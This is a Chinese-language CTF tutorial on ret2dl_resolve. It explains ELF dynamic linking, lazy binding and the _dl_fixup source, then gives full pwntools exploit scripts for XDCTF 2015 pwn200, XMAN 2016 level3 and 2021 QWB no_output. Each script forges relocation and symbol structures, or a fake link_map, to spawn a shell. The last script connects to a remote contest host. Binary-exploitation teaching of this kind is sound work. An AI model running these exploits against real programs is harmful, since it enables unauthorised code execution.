深入理解-dl_runtime_resolve
深入理解-dl_runtime_resolve
概要
目前大部分漏洞利用常包含兩個階段:
- 首先通過資訊泄露獲取程式記憶體布局
- 第二步才進行實際的漏洞利用
然而資訊泄露的方法並不總是可行的,且獲取的記憶體資訊並不可靠,於是就有了ret2dl_resolve的利用方式。這種方式巧妙的利用了ELF文件格式以及動態裝載器的弱點,不需要進行資訊泄露就可以直接標識關鍵函數並調用。
符號解析過程以及結構體定義
解析原理
-
動態裝載器負責將二進位文件以及依賴庫載入到記憶體,該過程包含了對導入符號的解析。
-
也就是說,在第一次調用函數時都由
_dl_runtime_resolve
函數來完成,以下是函數原型:_dl_runtime_resolve(link_map_obj, reloc_index)
-
resolve函數第二個參數是
reloc_index
,它可以找到文件中.rel.plt
表,.rel.plt
表由Elf Rel
結構體組成,定義如下:
它的
r_offset
用於保存解析後的符號地址寫入記憶體的位置(絕對地址),r_info
的高位3位元組用於標識該符號在.dynsym
中的下標。它在程式中的內容如下:
-
Elf Rel
結構體中的r_info
成員指向.dynsym
段中的Elf Sym
結構體。結構體定義如下:
-
Elf Sym
結構體中前兩個成員為重要成員,st_value
是當符號被導出時用於存放虛擬地址,不導出則為NULL。st_name
是相對於.dynstr
段的偏移,.dynstr
保存符號名稱字元串, 內容如下:
總結起來就是:
當程式導入函數時,動態鏈接器在.dynstr
段中添加一個函數名稱字元串
在.dynsym
段中添加一個指向函數名稱字元串的Elf Sym
結構體
在.rel.plt
段中添加一個指向Elf Sym
的Elf Rel
結構體
最後Elf Rel
的r_offse
構成GOT表,保存在.got.plt
段中
Lazy Binding
-
Lazy Binding機制(延遲綁定)即只有函數被調用時,才會對函數地址進行解析,然後將真實地址寫入GOT表中。第二次調用函數時便不再進行載入
-
該過程是通過PLT表進行的。每個函數都在PLT表中有一個條目(PLT[0]),第一條指令無條件跳轉到對應的GOT條目保存的地址。在程式中類似於下面這樣:
-
然後GOT條目在初始化時默認指向PLT條目的第二條指令位置(PLT[1]),相當於又跳回來了。執行下面兩條指令:
push xxx
:先將導入函數的標識(Elf Rel
在.rel.plt
的偏移)壓棧- 然後跳轉到GOT[2]保存的地址處,也就是
_dl_runtime_resolve()
函數
在程式中類似於下面這樣,並且可以驗證0x804A008,也就是GOT[2]是存儲的
dl_runtime_resolve()
函數:
-
_dl_runtime_resolve
函數中第一個參數link_map_obj
,用於獲取解析導入函數所需的資訊,第二個參數reloc_index
則標識了解析哪一個導入函數(當前函數setbuf
的reloc_index
是0,所以是0):
下面看看另一個函數
strlen
,reloc_index
為0x10,所以為0x10:
-
在
_dl_runtime_resovle
函數中,_dl_fixup()
函數用於解析導入函數的真實地址,並改寫GOT:
總結起來就是:
首先無條件跳轉到GOT表條目,jmp xxx
然後把reloc_index
壓棧,再次跳轉到GOT條目**
然後把link_map_obj
壓棧,參數壓棧完成後,執行_dl_runtime_resolve
函數
_dl_runtime_resolve
中的_dl_fixup
完成解析並將真實地址寫入GOT表
漏洞利用
程式保護機制RELRO(Relocation Read-Only,重定位只讀)是用於緩解由動態解析缺陷而產生的。一般分為三種情況:
gcc -o test test.c // 默認情況下, 是Partial RELRO
gcc -z norelro -o test test.c // 關閉, 即No RELRO。
gcc -z lazy -o test test.c // 部分開啟, 即Partial RELRO
gcc -z now -o test test.c // 全部開啟, 即
- No RELRO
完全關閉。.dynamic
段可寫,動態裝載器是以.dynamic
段的DT_STRTAB
條目來獲取.dynstr
段的地址,而DT_STRTAB
地址是已知的,且默認情況下可寫,所以可以改寫DT_STRTAB
,欺騙動態裝載器,使其找到偽造的.dynstr
段,將我們控制的地址內的字元串解析為函數名稱,然後去解析函數地址。比如修改DT_STRTAB
的.dynstr
條目內容為bss段,在bss段中寫入execve
字元串,假如現在正要解析printf
函數,那麼就會解析成execve
函數的地址。
- Partial RELRO
開啟部分保護,.dynamic
段不可寫。之前介紹_dl_runtime_resolve
時提到,第二個參數reloc_index
對應Elf Rel
在.rel.plt
中的偏移,動態裝載器將reloc_index
加上.rel.plt
的基址來得到目標Elf Rel
的記憶體地址。
當我們控制reloc_index
的值,使它相加後剛好落在bss段上,就可以在bss段上構造一個Elf Rel
結構體,使Elf Rel
的第一個成員r_offset
的值是一個可寫的地址,用來保存解析後的函數地址。然後使r_info
的值導向到可控制的記憶體下標,指向Elf Sym
,Elf Sym
中的st_name
再指向函數名稱字元串,那麼就可以解析成我們想要的函數地址。
- FULL RELRO
保護完全開啟,開啟後立即綁定函數地址,添加 PT_GNU_RELRO
段,.got
只讀不可寫,.got.plt
節取消,PLT 直接調用.got
節地址。Bypass可參考網上資料。
XDCTF 2015 pwn200
-
程式源碼
#include <string.h> #include<stdio.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; };
-
編譯為動態鏈接32位可執行文件,開啟Partial RELRO 和NX保護:
gcc -m32 -fno-stack-protector -no-pie pwn200.c -o pwn200
- 可以從源碼得知有棧溢出漏洞,可以通過泄露libc地址的方式獲取flag,但在這裡使用ret2dl-resolve的方式。
- 程式開啟了Partial RELRO 保護,那麼就按照上面介紹的第二種保護情況來做。
- 首先利用棧溢出控制執行流,調用
read
函數將下一階段的payload讀取到bss段上:
payload1 = b'a' * (0x6c + 4) # 填充長度
payload1 += p32(read_plt) # read(0, bss_addr, 100)
payload1 += p32(pppr) # 清棧
payload1 += p32(0) + p32(bss_addr) + p32(100)
payload1 += p32(pop_ebp_addr) # 構造一個假的ebp
payload1 += p32(bss_addr)
payload1 += p32(leave_ret_addr) # 棧遷移到bss段中
- 這裡一步一步模擬
write
函數的解析過程,最終實現system("/bin/sh")
。在bss段構造payload,並且列印出我們填入的字元串,以便驗證:
payload2 = b'aaaa' # ebp
payload2 += p32(write_plt) # write(1, bss_addr+80, 7)
payload2 += b'aaaa'
payload2 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload2 += b'a' * (80 - len(payload2)) # 填充長度為80,以免字元串被後續payload破壞
payload2 += b'/bin/sh\x00' # bss_addr+80 內容為字元串 「/bin/sh\x00」
payload2 += b'a' * (100 - len(payload2))
- 接下來模擬
write@plt
的執行效果。在bss段構造payload,將_dl_runtime_resolve
函數的參數壓棧,也就是reloc_index
,再跳轉到PLT[0],就是第一個無條件跳轉指令jmp xxx
:
reloc_index = 0x20
payload3 = b'aaaa'
payload3 += p32(plt_0) # write 函數的jmp xxx地址
payload3 += p32(reloc_index) # push 0x20
payload3 += b'aaaa'
payload3 += p32(1) + p32(bss + 80) + p32(len('/bin/sh'))
payload3 += b'a' * (80 - len(payload3))
payload3 += b'/bin/sh\x00'
payload3 += b'a' * (100 - len(payload3))
- 然後在bss段中構造一個
Elf Rel
結構,r_offset
設置成write@got
的地址,表示解析後的真實地址填入這裡。r_info
直接照搬,設置成0x607,動態載入器會通過這個值找到對應的Elf Sym
。那麼現在reloc_index
就不再是0x20了,應該調整為Elf Rel
基地址距離bss段上的偏移:
r_info成員的值是0x607,直接照搬到payload中
reloc_index = bss_addr - rel_plt + 28 # 這裡需要加上28的偏移,具體可以調試得知
r_info = 0x607 # .rel.plt 的 r_info 成員
fake_reloc = p32(write_got) + p32(r_info) # 模擬JMPREL Rel表
payload4 = b'aaaa'
payload4 += p32(plt_0) # plt[0]
payload4 += p32(reloc_index) # push
payload4 += b'aaaa'
payload4 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函數的參數,會列印出「/bin/sh」
payload4 += fake_reloc
payload4 += b'a' * (80 - len(payload4)) # 填充長度
payload4 += b'/bin/sh\x00'
payload4 += b'a' * (100 - len(payload4))
- 在bss段中偽造
Elf Sym
。首先使用readelf
命令,查找到write
函數在.dynsym
段的下標,得知下標為6,然後使用objdump
找到下標為6的那一行,數據直接照搬就可以了:
那麼之前構造的fake_reloc也要調整,r_info
可以通過r_sym
和r_type
計算得出。r_sym
也就是Elf Sym
相對於.dynsym
段的下標偏移,r_type
則照搬R_386_JUMP_SLOT
的值 0x7
reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10 # 需要補上40位元組的偏移,具體可以調試
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff) # write函數這裡的結果就是0x607
fake_reloc = p32(write_got) + p32(r_info)
fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12) # 上面objdump的結果照搬
payload5 = b'aaaa'
payload5 += p32(plt_0)
payload5 += p32(reloc_index)
payload5 += b'aaaa'
payload5 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
payload5 += fake_reloc
payload5 += b'aaaa'
payload5 += fake_sym
payload5 += b'a' * (80 - len(payload5))
payload5 += b'/bin/sh\x00'
payload5 += b'a' * (100 - len(payload5))
- 最後,在bss段上偽造
.dynstr
,也就是放上”write”字元串,相應的調整fake_sym的st_name
指向偽造的函數名稱字元串。st_info
欄位的內容被分為高 28 位的st_bind
符號綁定資訊,以及低 4 位的st_type
符號類型資訊,然後可以通過st_blind
和st_type
來計算st_info
:
reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff) # 0x607
fake_reloc = p32(write_got) + p32(r_info) # Elf Rel
st_name = bss_addr + 56 - dynstr # 指向寫入的"write"字元串
st_bind = 0x1 # st_info高28位
st_type = 0x2 # st_info低4位
st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload6 = b'aaaa'
payload6 += p32(plt_0)
payload6 += p32(reloc_index) # fake reloc_index,偏移到了bss段
payload6 += b'aaaa'
payload6 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函數參數
payload6 += fake_reloc # fake Elf Rel
payload6 += b'aaaa'
payload6 += fake_sym # fake Elf Sym
payload6 += b'write\x00' # st_name
payload6 += b'a' * (80 - len(payload6))
payload6 += b'/bin/sh\x00'
payload6 += b'a' * (100 - len(payload6))
最後,只要將字元串「write」改成「system」,調整一下參數即可獲得shell。
- 完整exp
from pwn import *
# context.log_level = 'debug'
elf = ELF('./pwn200')
# io = remote('127.0.0.1', 10001)
io = process('./pwn200')
io.recv()
pppr_addr = 0x08048619 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_addr = 0x0804861b # pop ebp ; ret
leave_ret_addr = 0x08048458 #: leave ; ret
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
base_addr = bss_addr + 0x600
payload_1 = b"A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr)
payload_1 += p32(0)
payload_1 += p32(base_addr)
payload_1 += p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(base_addr)
payload_1 += p32(leave_ret_addr)
io.send(payload_1)
reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align # 對齊
# fake Elf Rel
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (int(r_sym) << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)
# fake Elf Sym
st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_7 = b"AAAA"
payload_7 += p32(plt_0)
payload_7 += p32(reloc_index)
payload_7 += b"AAAA"
payload_7 += p32(base_addr + 80)
payload_7 += b"AAAA"
payload_7 += b"AAAA"
payload_7 += fake_reloc
payload_7 += b"A" * align
payload_7 += fake_sym
payload_7 += b"system\x00"
payload_7 += b"A" * (80 - len(payload_7))
payload_7 += b"/bin/sh\x00"
payload_7 += b"A" * (100 - len(payload_7))
io.sendline(payload_7)
io.interactive()
- 如果覺得手工構造太麻煩,有一個工具 roputils 可以簡化此過程,或者可以使用pwntools中自帶的 模組來完成,下面是pwntools構造32位程式exp的例子:
from pwn import *
context.binary = elf = ELF("./pwn200")
context.arch='i386'
context.log_level ='debug'
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./pwn200")
io.recvuntil("\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()
x64的ret2dl-resolve—XMAN 2016-level3
檢查保護
- 64 位程式一般情況下使用暫存器傳參,但給
_dl_runtime_resolve
傳參時使用棧 _dl_runtime_resolve
函數的第二個參數reloc_index
由偏移變為了索引
64位在這種情況下,如果像32位一樣依次偽造reloc_index
、symtab
、strtab
會出錯,原因是在_dl_fixup
函數執行過程中,訪問到了一段未映射的地址處,接下來我們結合 _dl_fixup
完整源碼進行分析,源碼位於 glibc-2.23/elf/dl-runtime.c , 在關鍵位置給出了注釋,其他位置可忽略:
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
// 第一個參數link_map,也就是got[1]
{
// 獲取link_map中存放DT_SYMTAB的地址
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 獲取link_map中存放DT_STRTAB的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset就是reloc_arg,獲取重定位表項中對應函數的結構體
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根據重定位結構體的r_info得到symtab表中對應的結構體
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
// 檢查r_info的最低位是不是7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 這裡是一層檢測,檢查sym結構體中的st_other是否為0,正常情況下為0,執行下面程式碼
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
// 這裡也是一層檢測,檢查link_map中的DT_VERSYM是否為NULL,正常情況下不為NULL,執行下面程式碼
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
/* 到了這裡就是64位下報錯的位置,在計算版本號時,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的過程中,
由於我們一般偽造的symtab位於bss段,就導致在64位下reloc->r_info比較大,故程式會發生錯誤。所以要使程式不發生錯誤,
自然想到的辦法就是不執行這裡的程式碼,分析上面的程式碼我們就可以得到兩種手段:
第一種手段就是使上一行的if不成立,也就是設置link_map中的DT_VERSYM為NULL,那我們就要泄露出link_map的地址,而如果我們能泄露地址,根本用不著ret2dlresolve。
第二種手段就是使最外層的if不成立,也就是使sym結構體中的st_other不為0,直接跳到後面的else語句執行。*/
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
RTLD_ENABLE_FOREIGN_CALL;
// 在32位情況下,上面程式碼運行中不會出錯,就會走到這裡,這裡通過strtab+sym->st_name找到符號表字元串,result為libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
RTLD_FINALIZE_FOREIGN_CALL;
// 同樣,如果正常執行,接下來會來到這裡,得到value的值,為libc基址加上要解析函數的偏移地址,也即實際地址,即result+st_value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
}
else
{
// 這裡就是64位下利用的關鍵,在最上面的if不成立後,就會來到這裡,這裡value的計算方式是 l->l_addr + st_value,我們的目的是使**value為我們所需要的函數的地址,所以就得控制兩個參數,l_addr 和 st_value
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最後把value寫入相應的GOT表條目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
所以接下來我們的任務就是控制 link_map
中的l_addr
和 sym
中的st_value
。
具體思路為:
- 偽造
link_map->l_addr
為libc中已解析函數與想要執行的目標函數的偏移值,如addr_system - addr_xxx
- 偽造
sym->st_value
為已經解析過的某個函數的 got 表的位置
下面是64位下的sym
結構體:
所以sym
結構體的大小為24位元組,st_value
就位於首地址+0x8的位置( 4 + 1 + 1 + 2)。
如果,我們把一個函數的got表地址-0x8的位置當作sym表首地址,那麼它的st_value
的值就是這個函數的got表上的值,也就是實際地址,此時它的st_other
恰好不為0
再來看link_map的結構
struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76]; //l_info 裡面包含的就是動態鏈接的各個表的資訊
...
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
}
這裡的.dynamic
節就對應Elf64_Dyn * l_info
的內容
所以如果我們偽造一個link_map
表,很容易就可以控制 l_addr
,通過閱讀源碼,我們知道_dl_fixup
主要用了 l_info
的內容 ,也就是上圖中JMPREL
,STRTAB
,SYMTAB
的地址。
所以我們需要偽造這個數組裡的幾個指針
DT_STRTAB
指針:位於link_map_addr +0x68(32位下是0x34)DT_SYMTAB
指針:位於link_map_addr + 0x70(32位下是0x38)DT_JMPREL
指針:位於link_map_addr +0xF8(32位下是0x7C)
然後偽造三個elf64_dyn即可,dynstr只需要指向一個可讀的地方,因為這裡我們沒有用到
- 64位下重定位表項與32位有所不同,多了
r_addend
成員,三個成員各佔8位元組,總大小為24位元組:
- 在這裡可以看到,
write
函數在符號表中的偏移為 2(也就是r_info
的值:0x200000007h>>32)
- 除此之外,在 64 位下,plt 中的程式碼
push
的是待解析符號在重定位表中的索引,而不是偏移。比如,write
函數對應上圖中第一個,下標為0,那麼就push 0
:
- 看看另一個,
read
函數對應的下標為1,那麼就push 1
:
可以發現針對軟體重定位的攻擊其實都是圍繞函數
_dl_fix_up
的兩個參數link_map
和reloc_arg
展開的,再加上相關數據結構的偽造完成攻擊。確實感覺這種攻擊是格式化的,雖然過程看上去很複雜,但是實際上都有固定的「套路」,只需按照步驟一步一步操作,大多數情況下就可以完成整個攻擊。
- 下面是完整的腳本
from pwn import *
context.update(os = 'linux', arch = 'amd64')
p = process('./level3_x64')
universal_gadget1 = 0x4006aa
universal_gadget2 = 0x400690
main_got = 0x600a68
pop_rdi_ret = 0x4006b3
jmp_dl_fixup = 0x4004a6
pop_rbp_ret = 0x400550
leave_ret = 0x400618
read_got = 0x600a60
new_stack_addr = 0x600ad0
fake_link_map_addr = 0x600b00
payload = b""
payload += b'A'*(0x80+0x8)
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x500)
payload += p64(new_stack_addr)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += b'A'*56
payload += p64(pop_rbp_ret)
payload += p64(new_stack_addr)
payload += p64(leave_ret)
p.send(payload)
sleep(0.5)
offset = 0x24c50 # system - __libc_start_main
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) #d_tag 從link_map中找.rel.plt不需要用到標籤, 隨意設置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) #d_ptr 指向偽造的Elf64_Rela結構體,由於reloc_offset也被控制為0,不需要偽造多個結構體
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可讀寫就行
fake_Elf64_Rela += p64(7) # r_info index設置為0,最後一位元組必須為7
fake_Elf64_Rela += p64(0) # r_addend 隨意設置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 隨意設置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免進入重定位符號的分支
fake_Elf64_Sym += p64(main_got-8) # st_value 已解析函數的got表地址-8,-8體現在彙編程式碼中,原因不明
fake_Elf64_Sym += p64(0) # st_size 隨意設置
fake_link_map_data = b""
fake_link_map_data += p64(offset) # l_addr,偽造為兩個函數的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00'*0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 設置為一個可讀的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向對應結構體數組的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x00'*0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向對應數組結構體的地址
payload = b""
payload += b"AAAAAAAA"
payload += p64(pop_rdi_ret)
payload += p64(fake_link_map_addr+0x78) # /bin/sh\x00地址
payload += p64(jmp_dl_fixup) # 用jmp跳轉到_dl_fixup,link_map和reloc_offset都由我們自己偽造
payload += p64(fake_link_map_addr) # 偽造的link_map地址
payload += p64(0) # 偽造的reloc_offset
payload += fake_link_map_data
p.send(payload)
p.interactive()
2021強網杯 [強網先鋒]no_output
此題也是考驗ret2dl-resolve攻擊方式。exp如下:
from pwn import *
# s = process("./test")
s = remote("39.105.138.97", "1234")
elf = ELF("./test")
# 調試參數
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# bss
bss = elf.bss(0x400)
# ROPgadget
leave = 0x08049267 # leave 清棧
pppr = 0x08049581 # pop esi;pop edi;pop ebp;ret
p_ebp_r = 0x08049583 # pop ebp;ret
r = 0x0804900e # ret
read = elf.sym['read']
# 初始化表地址
plt = elf.get_section_by_name('.plt').header.sh_addr # 帶linkmap然後jmp到_dl_runtime_resolve
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# 輸入buf
s.send(b'\x00' * 0x30)
# 輸入src
s.send(b'\x00' * 0x20)
# 輸入soul
s.sendline(b'-2147483648')
# 輸入egg
s.sendline(b'-1')
def send1():
payload1 = b'a' * 0x48
payload1 += p32(bss)
payload1 += p32(read)
payload1 += p32(pppr)
payload1 += p32(0)
payload1 += p32(bss)
payload1 += p32(0x200)
payload1 += p32(p_ebp_r)
payload1 += p32(bss)
payload1 += p32(leave)
payload1 = payload1.ljust(0x100, b'\x00')
s.send(payload1)
def send2():
# 偽造地址
fake_sym = bss + 0x24
fake3 = 0x10 - ((fake_sym - dynsym) & 0xf)
fake_sym += fake3
index = int((fake_sym - dynsym) / 0x10)
rrr = (index << 8) | 0x7
# 計算偏移
name = (fake_sym + 0x10) - dynstr
offset = (bss + 0x1c) - rel_plt
# 重定位
rel = p32(elf.got['read']) + p32(rrr)
binsh = bss + 0x100
payload2 = p32(0)
payload2 += p32(plt)
payload2 += p32(offset)
payload2 += p32(0)
payload2 += p32(binsh)
payload2 += p32(0)
payload2 += p32(0)
payload2 += rel
payload2 += b'a' * fake3
payload2 += p32(name)
payload2 += p32(0)
payload2 += p32(0)
payload2 += p32(18)
payload2 += b'system\x00'
payload2 = payload2.ljust(256, b'\x00')
payload2 += b'/bin/sh'
s.send(payload2)
send1()
send2()
s.interactive()